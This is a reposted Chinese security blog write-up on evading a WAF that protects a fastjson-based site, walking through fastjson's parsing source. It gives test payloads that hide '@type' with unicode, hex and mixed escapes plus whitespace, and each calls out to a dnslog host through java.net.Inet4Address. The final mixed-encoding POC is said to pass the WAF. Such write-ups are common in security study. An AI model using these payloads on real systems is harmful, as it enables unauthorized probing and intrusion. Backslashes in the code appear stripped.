记一次实战中对fastjson waf的绕过

admin 2024年9月21日21:05:29评论53 views字数 6163阅读20分32秒阅读模式

记一次实战中对fastjson waf的绕过

最近遇到一个fastjson的站,很明显是有fastjson漏洞的,因为@type这种字符,fastjson特征很明显的字符都被过滤了.于是开始了绕过之旅,顺便来学习一下如何waf。

文章作者:先知社区(1341025112991831)

文章来源:https://xz.aliyun.com/t/15602

1

编码绕过

去网上搜索还是有绕过waf的文章,下面来分析一手,当时第一反应就是unicode编码去绕过

首先简单的测试一下

parseObject:221, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1318, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1284, DefaultJSONParser (com.alibaba.fastjson.parser)parse:152, JSON (com.alibaba.fastjson)parse:143, JSON (com.alibaba.fastjson)main:8, Test

到如下代码

if (ch == '"') {    key = lexer.scanSymbol(this.symbolTable, '"');    lexer.skipWhitespace();    ch = lexer.getCurrent();    if (ch != ':') {        throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);    }}

进入scanSymbol方法

方法就是对我们的key进行处理

switch (chLocal) {    case '"':        hash = 31 * hash + 34;        this.putChar('"');        break;    case '#':    case '$':    case '%':    case '&':    case '(':    case ')':    case '*':    case '+':    case ',':    case '-':    case '.':    case '8':    case '9':    case ':':    case ';':    case '<':    case '=':    case '>':    case '?':    case '@':    case 'A':    case 'B':    case 'C':    case 'D':    case 'E':    case 'G':    case 'H':    case 'I':    case 'J':    case 'K':    case 'L':    case 'M':    case 'N':    case 'O':    case 'P':    case 'Q':    case 'R':    case 'S':    case 'T':    case 'U':    case 'V':    case 'W':    case 'X':    case 'Y':    case 'Z':    case '[':    case ']':    case '^':    case '_':    case '`':    case 'a':    case 'c':    case 'd':    case 'e':    case 'g':    case 'h':    case 'i':    case 'j':    case 'k':    case 'l':    case 'm':    case 'o':    case 'p':    case 'q':    case 's':    case 'w':    default:        this.ch = chLocal;        throw new JSONException("unclosed.str.lit");    case ''':        hash = 31 * hash + 39;        this.putChar(''');        break;    case '/':        hash = 31 * hash + 47;        this.putChar('/');        break;    case '0':        hash = 31 * hash + chLocal;        this.putChar('u0000');        break;    case '1':        hash = 31 * hash + chLocal;        this.putChar('u0001');        break;    case '2':        hash = 31 * hash + chLocal;        this.putChar('u0002');        break;    case '3':        hash = 31 * hash + chLocal;        this.putChar('u0003');        break;    case '4':        hash = 31 * hash + chLocal;        this.putChar('u0004');        break;    case '5':        hash = 31 * hash + chLocal;        this.putChar('u0005');        break;    case '6':        hash = 31 * hash + chLocal;        this.putChar('u0006');        break;    case '7':        hash = 31 * hash + chLocal;        this.putChar('u0007');        break;    case 'F':    case 'f':        hash = 31 * hash + 12;        this.putChar('f');        break;    case '\':        hash = 31 * hash + 92;        this.putChar('\');        break;    case 'b':        hash = 31 * hash + 8;        this.putChar('b');        break;    case 'n':        hash = 31 * hash + 10;        this.putChar('n');        break;    case 'r':        hash = 31 * hash + 13;        this.putChar('r');        break;    case 't':        hash = 31 * hash + 9;        this.putChar('t');        break;    case 'u':        char c1 = this.next();        char c2 = this.next();        char c3 = this.next();        char c4 = this.next();        int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);        hash = 31 * hash + val;        this.putChar((char)val);        break;    case 'v':        hash = 31 * hash + 11;        this.putChar('u000b');        break;    case 'x':        char x1 = this.ch = this.next();        x2 = this.ch = this.next();        int x_val = digits[x1] * 16 + digits[x2];        char x_char = (char)x_val;        hash = 31 * hash + x_char;        this.putChar(x_char);}

可以看到有不同的处理,对应的支持unicode和16进制编码

先去试一试

探测一手

"{"a":{"\u0040\u0074\u0079\u0070\u0065":"java.net.Inet4Address","val":"cd4d1c41.log.dnslog.sbs."}}"

记一次实战中对fastjson waf的绕过

可惜还是被拦截了

尝试了16进制结果还是一样的

2

特殊字符反序列化

为json任然会反序列化我们的对象,那就必然涉及到反序列化字段,构造对象的过程

解析我们的字段的逻辑是在parseField方法

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,                          Map<String, Object> fieldValues, int[] setFlags) {    JSONLexer lexer = parser.lexer; // xxx    final int disableFieldSmartMatchMask = Feature.DisableFieldSmartMatch.mask;    FieldDeserializer fieldDeserializer;    if (lexer.isEnabled(disableFieldSmartMatchMask) || (this.beanInfo.parserFeatures & disableFieldSmartMatchMask) != 0) {        fieldDeserializer = getFieldDeserializer(key);    } else {        fieldDeserializer = smartMatch(key, setFlags);    }

绕过逻辑是在smartMatch方法

方法如下

public FieldDeserializer smartMatch(String key, int[] setFlags) {    if (key == null) {        return null;    }    FieldDeserializer fieldDeserializer = getFieldDeserializer(key, setFlags);    if (fieldDeserializer == null) {        long smartKeyHash = TypeUtils.fnv1a_64_lower(key);        if (this.smartMatchHashArray == null) {            long[] hashArray = new long[sortedFieldDeserializers.length];            for (int i = 0; i < sortedFieldDeserializers.length; i++) {                hashArray[i] = TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name);            }            Arrays.sort(hashArray);            this.smartMatchHashArray = hashArray;        }        // smartMatchHashArrayMapping        int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);        if (pos < 0 && key.startsWith("is")) {            smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));            pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);        }        if (pos >= 0) {            if (smartMatchHashArrayMapping == null) {                short[] mapping = new short[smartMatchHashArray.length];                Arrays.fill(mapping, (short) -1);                for (int i = 0; i < sortedFieldDeserializers.length; i++) {                    int p = Arrays.binarySearch(smartMatchHashArray                            , TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name));                    if (p >= 0) {                        mapping

= (short) i; } } smartMatchHashArrayMapping = mapping; } int deserIndex = smartMatchHashArrayMapping[pos]; if (deserIndex != -1) { if (!isSetFlag(deserIndex, setFlags)) { fieldDeserializer = sortedFieldDeserializers[deserIndex]; } } } if (fieldDeserializer != null) { FieldInfo fieldInfo = fieldDeserializer.fieldInfo; if ((fieldInfo.parserFeatures & Feature.DisableFieldSmartMatch.mask) != 0) { return null; } } } return fieldDeserializer;}

对key处理的逻辑如下

long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
public static long fnv1a_64_lower(String key) {    long hashCode = 0xcbf29ce484222325L;    for (int i = 0; i < key.length(); ++i) {        char ch = key.charAt(i);        if (ch == '_' || ch == '-') {            continue;        }        if (ch >= 'A' && ch <= 'Z') {            ch = (char) (ch + 32);        }        hashCode ^= ch;        hashCode *= 0x100000001b3L;    }    return hashCode;}

可以看到使用_和-的方法已经没有作用了

不过有个好消息是

int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);if (pos < 0 && key.startsWith("is")) {    smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));    pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);}

可以看到对is进行了一个截取,那我们添加一个is

可惜测试了还是不可以

3

加特殊字符绕过

这个的具体处理逻辑是在skipComment的方法

而处理逻辑是在

public final void skipWhitespace() {    for (;;) {        if (ch <= '/') {            if (ch == ' ' || ch == 'r' || ch == 'n' || ch == 't' || ch == 'f' || ch == 'b') {                next();                continue;            } else if (ch == '/') {                skipComment();                continue;            } else {                break;            }        } else {            break;        }    }}

匹配到这些特殊字符就忽略

测试一下

import com.alibaba.fastjson.JSON;public class Test {    public static void main(String[] args) {        String aaa = "{"@type"r:"java.net.Inet4Address","val":"48786d0c.log.dnslog.sbs."}";        JSON.parse(aaa);    }}

记一次实战中对fastjson waf的绕过

确实可以,但是环境上去尝试任然被waf了

4

双重编码

最后是使用双重编码绕过的,因为编码的逻辑是失败到对应的字符就去编码

单独的unicode和16进制都不可以

尝试一下同时呢?

去对@type编码

POC

{"\x40\u0074\u0079\u0070\u0065"r:"java.net.Inet4Address","val":"48786d0c.log.dnslog.sbs."}

最后也是成功了

猜测后端逻辑是把代码分别拿去了unicode和16进制解码,但是直接单独解码会乱码的,而fastjson的逻辑是一个字符一个字符解码

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

原文始发于微信公众号(黑白之道):记一次实战中对fastjson waf的绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月21日21:05:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次实战中对fastjson waf的绕过http://cn-sec.com/archives/3191496.html

发表评论

匿名网友 填写信息